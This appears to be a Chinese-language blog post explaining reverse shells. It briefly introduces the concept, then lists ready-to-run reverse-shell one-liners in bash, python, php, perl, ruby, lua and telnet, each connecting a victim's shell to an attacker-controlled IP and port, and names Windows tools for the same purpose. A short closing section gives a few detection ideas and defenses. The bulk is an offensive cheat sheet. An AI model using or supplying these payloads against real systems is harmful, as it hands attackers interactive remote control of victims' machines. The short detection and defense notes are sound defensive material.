网络安全|网络安全-反弹shell详解(攻击,检测与防御)
目录
简介
原理
反弹shell
bash
nc
python
php
perl
ruby
【网络安全|网络安全-反弹shell详解(攻击,检测与防御)】lua
telnet
检测
防御
参考
简介 如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。
原理 操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。
反弹shell
bash
bash -i >& /dev/tcp/ip/port 0>&1
0:标准输入;1:标准输出;2:标准错误。
bash -i:产生一个交互式环境
>&:将标准输出和标准错误结合,一起重定向给后者
/dev/tcp/ip/port:建立一个tcp连接
0>&1:将标准输入重定向到标准输出
nc Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客
python
python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('ip',port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);
"
python -c command
将字符串当做python代码执行
文章图片
同理,上面也是利用bash进行的反弹
php
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
perl
perl -MIO -e '$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");
STDIN->fdopen($c,r);
$~->fdopen($c,w);
system$_ while<>;
'
ruby
ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua
lua -e "require('socket');
require('os');
t=socket.tcp();
t:connect('10.0.0.1','1234');
os.execute('/bin/sh -i <&3 >&3 2>&3');
"
telnet
mknod a p;
telnet 接收端IP 端口 0a
Windows平台,可以使用powercatreverseudpshellicmpsh
检测 及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接
防御 防火墙限制
Netlink监听,kill进程(详见腾讯云参考)
参考 ??????基于主机的反弹shell检测思路 - 哔哩哔哩
常用的反弹shell总结_西部壮仔的博客-CSDN博客_反弹shell能干嘛
自动化反弹Shell防御技术 - 云+社区 - 腾讯云
推荐阅读
- Shell-Bash变量与运算符
- Linux|109 个实用 shell 脚本
- Xshell5|Xshell5 远程连接本地虚拟机Ubuntu16
- adb|adb 相关命令
- iOS|iOS 高效开发必备技巧之自动化打包(shell xcode11 上传App Store 蒲公英等平台)
- 【2020-02-25】leetcode|【2020-02-25】leetcode shell
- 7/25|7/25 day2- Bash shell
- 2021年3月Shelley复盘┃思维成长伊始,我精力充沛
- shell命令--paste
- 七月Shelley复盘┃积极应对疫情,手账助力居家办公